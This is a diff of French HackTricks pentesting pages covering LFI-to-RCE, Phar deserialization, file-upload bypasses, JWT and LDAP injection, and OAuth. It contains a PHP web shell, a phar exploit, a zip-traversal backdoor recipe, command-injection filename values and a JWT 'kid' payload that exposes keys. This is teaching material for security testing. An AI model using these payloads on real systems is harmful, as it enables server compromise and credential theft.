Dans PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
En PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -504,7 +508,7 @@ Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /
|
||||
|
||||
Les journaux pour le serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité de Local File Inclusion (LFI) existe, et où l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
|
||||
|
||||
1. Injectez une charge utile PHP dans le champ nom d'utilisateur lors du processus de connexion.
|
||||
1. Injectez une charge utile PHP dans le champ du nom d'utilisateur lors du processus de connexion.
|
||||
2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur à partir de _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
@ -517,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explique que vous pouvez utiliser **php filters pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
|
||||
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **les filtres php pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -533,7 +537,7 @@ lfi2rce-via-segmentation-fault.md
|
||||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Si vous avez trouvé une **Local File Inclusion** et que **Nginx** fonctionne devant PHP, vous pourriez être en mesure d'obtenir RCE avec la technique suivante :
|
||||
Si vous avez trouvé une **inclusion de fichier local** et que **Nginx** fonctionne devant PHP, vous pourriez être en mesure d'obtenir un RCE avec la technique suivante :
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -541,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez en abuser pour obtenir RCE :
|
||||
Si vous avez trouvé une **inclusion de fichier local** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez en abuser pour obtenir un RCE :
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -549,7 +553,7 @@ via-php_session_upload_progress.md
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
Si vous avez trouvé une **Local File Inclusion** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir RCE :
|
||||
Si vous avez trouvé une **inclusion de fichier local** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir un RCE :
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
@ -2,11 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Les fichiers **Phar** (PHP Archive) **contiennent des métadonnées au format sérialisé**, donc, lorsqu'ils sont analysés, ces **métadonnées** sont **désérialisées** et vous pouvez essayer d'exploiter une vulnérabilité de **désérialisation** dans le code **PHP**.
|
||||
|
||||
|
||||
**Les fichiers Phar** (PHP Archive) **contiennent des métadonnées au format sérialisé**, donc, lorsqu'ils sont analysés, ces **métadonnées** sont **désérialisées** et vous pouvez essayer d'exploiter une vulnérabilité de **désérialisation** dans le code **PHP**.
|
||||
|
||||
Le meilleur aspect de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme **file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**.
|
||||
La meilleure chose à propos de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme **file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**.
|
||||
|
||||
Donc, imaginez une situation où vous pouvez faire en sorte qu'un web PHP obtienne la taille d'un fichier arbitraire en utilisant le protocole **`phar://`**, et à l'intérieur du code, vous trouvez une **classe** similaire à la suivante :
|
||||
```php:vunl.php
|
||||
@ -24,7 +22,7 @@ system($this->data);
|
||||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
Vous pouvez créer un fichier **phar** qui, une fois chargé, **abusé de cette classe pour exécuter des commandes arbitraires** avec quelque chose comme :
|
||||
Vous pouvez créer un fichier **phar** qui, lorsqu'il est chargé, **exploite cette classe pour exécuter des commandes arbitraires** avec quelque chose comme :
|
||||
```php:create_phar.php
|
||||
<?php
|
||||
|
||||
@ -61,8 +59,8 @@ php vuln.php
|
||||
```
|
||||
### Références
|
||||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://blog.ripstech.com/2018/new-php-exploitation-technique/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Méthodologie générale de téléchargement de fichiers
|
||||
|
||||
Autres extensions utiles :
|
||||
@ -50,7 +49,7 @@ Autres extensions utiles :
|
||||
8. Essayez de dépasser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant est laissé. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 octets
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png
|
||||
# Téléchargez le fichier et vérifiez la réponse combien de caractères il autorise. Disons 236
|
||||
@ -60,7 +59,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Contourner Content-Type, Magic Number, Compression & Redimensionnement
|
||||
### Contourner Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête Content-Type** à : _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
@ -105,7 +104,7 @@ Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez ob
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [Exploitation RCE uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
|
||||
|
||||
@ -166,9 +165,9 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c
|
||||
## Du téléchargement de fichiers à d'autres vulnérabilités
|
||||
|
||||
- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'atteindre un **path traversal**
|
||||
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **injection SQL**
|
||||
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **SQL injection**
|
||||
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour atteindre un XSS
|
||||
- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commandes ici](../command-injection.md))
|
||||
- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injections de commandes ici](../command-injection.md))
|
||||
- [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
- **JS** fichier **upload** + **XSS** = [**exploitation des Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
- [**XXE dans le téléchargement svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
@ -177,7 +176,7 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c
|
||||
- [Fameuse vulnérabilité **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez essayer d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**.
|
||||
- [**XXE et CORS** contournement avec le téléchargement de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir l'exécution de JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire suivant les indications données.
|
||||
- PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire suivant les indications données.
|
||||
- Téléchargez le contenu \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus**
|
||||
- Vérifiez s'il y a une **limite de taille** lors du téléchargement de fichiers
|
||||
|
||||
@ -196,18 +195,20 @@ Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de [ici
|
||||
|
||||
#### Extension Burp
|
||||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
{{#ref}}
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Octets d'en-tête magiques
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG** : `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG** : `"\xff\xd8\xff"`
|
||||
|
||||
Référez-vous à [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers.
|
||||
Consultez [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers.
|
||||
|
||||
### Téléchargement de fichiers Zip/Tar automatiquement décompressés
|
||||
|
||||
Si vous pouvez télécharger un ZIP qui va être décompressé sur le serveur, vous pouvez faire 2 choses :
|
||||
Si vous pouvez télécharger un ZIP qui sera décompressé sur le serveur, vous pouvez faire 2 choses :
|
||||
|
||||
#### Symlink
|
||||
|
||||
@ -252,7 +253,7 @@ create_zip()
|
||||
|
||||
Pour plus de détails **voir le post original dans** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Création d'un Shell PHP** : Le code PHP est écrit pour exécuter des commandes passées par la variable `$_REQUEST`.
|
||||
1. **Créer un Shell PHP** : Le code PHP est écrit pour exécuter des commandes passées par la variable `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -262,14 +263,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying et Création de Fichiers Compressés** : Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
|
||||
2. **File Spraying et création de fichiers compressés** : Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification avec un Éditeur Hexadécimal ou vi** : Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, changeant "xxA" en "../" pour traverser les répertoires.
|
||||
3. **Modification avec un éditeur hexadécimal ou vi** : Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, changeant "xxA" en "../" pour traverser les répertoires.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -298,7 +299,7 @@ Plus d'informations sur : [https://www.idontplaydarts.com/2012/06/encoding-web-s
|
||||
|
||||
Les fichiers polyglottes servent d'outil unique en cybersécurité, agissant comme des caméléons qui peuvent exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et une archive RAR. De tels fichiers ne se limitent pas à cette association ; des combinaisons comme GIF et JS ou PPT et JS sont également réalisables.
|
||||
|
||||
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. La pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement—comme JPEG, GIF ou DOC—pour atténuer le risque posé par des formats potentiellement nuisibles (par exemple, JS, PHP ou fichiers Phar). Cependant, un polyglotte, en se conformant aux critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions.
|
||||
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. La pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement—comme JPEG, GIF ou DOC—pour atténuer le risque posé par des formats potentiellement nuisibles (par exemple, JS, PHP ou fichiers Phar). Cependant, un polyglotte, en se conformant aux critères structurels de plusieurs types de fichiers, peut contourner furtivement ces restrictions.
|
||||
|
||||
Malgré leur adaptabilité, les polyglottes rencontrent des limitations. Par exemple, bien qu'un polyglotte puisse simultanément incarner un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichier de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement.
|
||||
|
||||
@ -313,5 +314,4 @@ Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -40,7 +40,7 @@ Pour vérifier si la signature d'un JWT est vérifiée :
|
||||
Il est important de déterminer si le token a été généré côté serveur ou côté client en examinant l'historique des requêtes du proxy.
|
||||
|
||||
- Les tokens vus pour la première fois du côté client suggèrent que la clé pourrait être exposée au code côté client, nécessitant une enquête plus approfondie.
|
||||
- Les tokens provenant du côté serveur indiquent un processus sécurisé.
|
||||
- Les tokens d'origine côté serveur indiquent un processus sécurisé.
|
||||
|
||||
### Durée
|
||||
|
||||
@ -72,7 +72,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
||||
Un attaquant intègre une nouvelle clé dans l'en-tête du jeton et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114).
|
||||
|
||||
Cela peut être fait avec l'extension Burp "JSON Web Tokens".\
|
||||
Cela peut être fait avec l'extension "JSON Web Tokens" de Burp.\
|
||||
(Envoyez la requête au Repeater, dans l'onglet JSON Web Token, sélectionnez "CVE-2018-0114" et envoyez la requête).
|
||||
|
||||
### Spoofing JWKS
|
||||
@ -84,7 +84,7 @@ Les instructions détaillent une méthode pour évaluer la sécurité des jetons
|
||||
- Modifiez la valeur "jku" du jeton pour diriger vers un service web contrôlé, permettant l'observation du trafic.
|
||||
- **Surveillance des interactions HTTP** :
|
||||
- Observer les requêtes HTTP vers votre URL spécifiée indique les tentatives du serveur de récupérer des clés depuis votre lien fourni.
|
||||
- Lors de l'utilisation de `jwt_tool` pour ce processus, il est crucial de mettre à jour le fichier `jwtconf.ini` avec votre emplacement JWKS personnel pour faciliter le test.
|
||||
- Lors de l'utilisation de `jwt_tool` pour ce processus, il est crucial de mettre à jour le fichier `jwtconf.ini` avec votre emplacement JWKS personnel pour faciliter les tests.
|
||||
- **Commande pour `jwt_tool`** :
|
||||
|
||||
- Exécutez la commande suivante pour simuler le scénario avec `jwt_tool` :
|
||||
@ -111,7 +111,7 @@ En ciblant des fichiers avec un contenu prévisible, il est possible de forger u
|
||||
|
||||
#### Injection SQL via "kid"
|
||||
|
||||
Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe d'une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile `kid`. Un exemple de charge utile qui utilise l'injection SQL pour altérer le processus de signature JWT inclut :
|
||||
Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe d'une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile `kid`. Un exemple de charge utile qui utilise une injection SQL pour altérer le processus de signature JWT inclut :
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
@ -119,7 +119,7 @@ Cette modification force l'utilisation d'une clé secrète connue, `ATTACKER`, p
|
||||
|
||||
#### Injection OS via "kid"
|
||||
|
||||
Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait conduire à des vulnérabilités d'exécution de code à distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour obtenir RCE et l'exposition de clés est :
|
||||
Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait conduire à des vulnérabilités d'Exécution de Code à Distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour obtenir RCE et exposer des clés est :
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
@ -128,7 +128,7 @@ Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dan
|
||||
#### jku
|
||||
|
||||
jku signifie **JWK Set URL**.\
|
||||
Si le jeton utilise une revendication d'en-tête “**jku**”, alors **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.
|
||||
Si le jeton utilise une revendication d'**en-tête** “**jku**”, alors **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.
|
||||
|
||||
Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.
|
||||
```bash
|
||||
@ -162,7 +162,7 @@ Vous pouvez alors utiliser par exemple [**jwt.io**](https://jwt.io) pour créer
|
||||
|
||||
.png>)
|
||||
|
||||
Vous pouvez également abuser de ces deux vulnérabilités **pour des SSRFs**.
|
||||
Vous pouvez également abuser de ces deux vulnérabilités **pour les SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
@ -222,7 +222,9 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000
|
||||
|
||||
### Revendications enregistrées JWT
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
{{#ref}}
|
||||
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
|
||||
{{#endref}}
|
||||
|
||||
### Autres attaques
|
||||
|
||||
@ -230,17 +232,18 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000
|
||||
|
||||
Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email doit être examinée. Une tentative doit ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté.
|
||||
|
||||
- Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement de falsifier le compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être nécessaire si l'inscription sur une application tierce est envisagée, car cela pourrait entrer dans une zone grise légale.
|
||||
- Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement de falsifier le compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être nécessaire si l'inscription sur une application tierce est effectuée, car cela pourrait entrer dans une zone grise légale.
|
||||
|
||||
**Vérification de l'expiration des jetons**
|
||||
|
||||
L'expiration du jeton est vérifiée à l'aide de la revendication "exp" Payload. Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande d'atténuer les attaques de replay JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est cruciale. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de jwt_tool.
|
||||
|
||||
- Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer.
|
||||
- Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela peut impliquer que le jeton ne pourrait jamais expirer.
|
||||
|
||||
### Outils
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/ticarpi/jwt_tool
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -56,7 +56,7 @@ Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celu
|
||||
|
||||
### Contournement de connexion
|
||||
|
||||
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se peut que peu importe ce que vous insérez dans le mot de passe, il soit haché.
|
||||
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Donc, il se peut qu'indépendamment de ce que vous insérez dans le mot de passe, il soit haché.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
@ -148,7 +148,7 @@ Vous pouvez itérer sur les lettres ascii, les chiffres et les symboles :
|
||||
|
||||
#### **Découvrir les champs LDAP valides**
|
||||
|
||||
Les objets LDAP **contiennent par défaut plusieurs attributs** qui pourraient être utilisés pour **enregistrer des informations**. Vous pouvez essayer de **forcer tous les attributs pour extraire ces informations.** Vous pouvez trouver une liste des [**attributs LDAP par défaut ici**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
Les objets LDAP **contiennent par défaut plusieurs attributs** qui pourraient être utilisés pour **sauvegarder des informations**. Vous pouvez essayer de **forcer tous les attributs pour extraire ces informations.** Vous pouvez trouver une liste des [**attributs LDAP par défaut ici**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
### Plus de Payloads
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,30 +1,29 @@
|
||||
# OAuth à la prise de contrôle de compte
|
||||
# OAuth pour la prise de contrôle de compte
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Informations de base <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth propose différentes versions, avec des informations fondamentales accessibles dans la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le [type de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation qui permet à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation).
|
||||
|
||||
Considérons un site web hypothétique _**https://example.com**_, conçu pour **présenter tous vos posts sur les réseaux sociaux**, y compris ceux privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre permission pour **accéder à vos posts sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, décrivant les **permissions demandées et le développeur effectuant la demande**. Après votre autorisation, _https://example.com_ obtient la capacité d'**accéder à vos posts en votre nom**.
|
||||
Considérons un site web hypothétique _**https://example.com**_, conçu pour **présenter tous vos posts sur les réseaux sociaux**, y compris ceux privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre permission pour **accéder à vos posts sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, décrivant les **permissions demandées et le développeur faisant la demande**. Après votre autorisation, _https://example.com_ obtient la capacité de **accéder à vos posts en votre nom**.
|
||||
|
||||
Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
|
||||
|
||||
- **propriétaire de la ressource** : Vous, en tant que **utilisateur/entité**, autorisez l'accès à votre ressource, comme vos posts sur les réseaux sociaux.
|
||||
- **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a sécurisé un `access token` au nom du `resource owner`, par exemple, **https://socialmedia.com**.
|
||||
- **application cliente** : L'**application demandant l'autorisation** du `resource owner`, comme **https://example.com**.
|
||||
- **serveur d'autorisation** : Le **serveur qui délivre les `access tokens`** à l'`application cliente` après l'authentification réussie du `resource owner` et la sécurisation de l'autorisation, par exemple, **https://socialmedia.com**.
|
||||
- **propriétaire de la ressource** : Vous, en tant que **utilisateur/entité**, autorisez l'accès à votre ressource, comme vos posts de compte de réseaux sociaux.
|
||||
- **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a sécurisé un `access token` au nom du `propriétaire de la ressource`, par exemple, **https://socialmedia.com**.
|
||||
- **application cliente** : L'**application cherchant l'autorisation** du `propriétaire de la ressource`, comme **https://example.com**.
|
||||
- **serveur d'autorisation** : Le **serveur qui délivre des `access tokens`** à l'`application cliente` après l'authentification réussie du `propriétaire de la ressource` et la sécurisation de l'autorisation, par exemple, **https://socialmedia.com**.
|
||||
- **client_id** : Un identifiant public et unique pour l'application.
|
||||
